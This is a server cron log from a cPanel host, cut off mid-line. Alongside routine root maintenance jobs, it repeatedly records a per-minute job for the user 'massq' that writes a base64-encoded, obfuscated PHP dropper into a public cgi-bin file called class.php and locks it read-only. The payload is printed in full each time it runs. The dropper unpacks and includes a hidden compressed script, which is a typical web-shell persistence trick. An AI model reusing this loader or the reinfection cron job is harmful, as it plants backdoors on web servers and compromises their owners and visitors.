Sep  7 04:32:01 server CROND[1355]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:32:01 server CROND[1356]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:32:01 server CROND[1357]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 04:33:01 server CROND[1764]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:33:01 server CROND[1765]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 04:33:01 server CROND[1763]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:34:01 server CROND[2179]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 04:34:01 server CROND[2180]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:34:01 server CROND[2181]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:34:03 server run-parts(/etc/cron.daily)[3649]: finished maldet
Sep  7 04:34:03 server run-parts(/etc/cron.daily)[2728]: starting man-db.cron
Sep  7 04:34:05 server run-parts(/etc/cron.daily)[5816]: finished man-db.cron
Sep  7 04:34:05 server anacron[17873]: Job `cron.daily' terminated
Sep  7 04:34:05 server anacron[17873]: Normal exit (1 job run)
Sep  7 04:35:01 server CROND[7093]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 04:35:01 server CROND[7095]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 04:35:01 server CROND[7096]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:35:01 server CROND[7097]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 04:35:01 server CROND[7098]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 04:35:01 server CROND[7099]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 04:35:01 server CROND[7094]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 04:35:01 server CROND[7101]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  7 04:35:01 server CROND[7102]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:36:01 server CROND[7924]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 04:36:01 server CROND[7925]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:36:01 server CROND[7923]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:37:01 server CROND[8290]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:37:01 server CROND[8291]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 04:37:01 server CROND[8292]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:38:01 server CROND[8811]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 04:38:01 server CROND[8812]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:38:01 server CROND[8813]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:39:01 server CROND[9190]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 04:39:01 server CROND[9191]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:39:01 server CROND[9189]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:39:01 server CROND[9192]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 04:40:01 server CROND[9580]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 04:40:01 server CROND[9581]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 04:40:01 server CROND[9583]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 04:40:01 server CROND[9584]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 04:40:01 server CROND[9582]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 04:40:01 server CROND[9585]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 04:40:01 server CROND[9590]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:40:01 server CROND[9587]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:41:02 server CROND[10492]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:41:02 server CROND[10493]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:41:02 server CROND[10494]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 04:42:01 server CROND[10851]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:42:01 server CROND[10853]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 04:42:01 server CROND[10854]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:42:01 server CROND[10852]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 04:43:01 server CROND[11328]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:43:01 server CROND[11329]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 04:43:01 server CROND[11330]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5t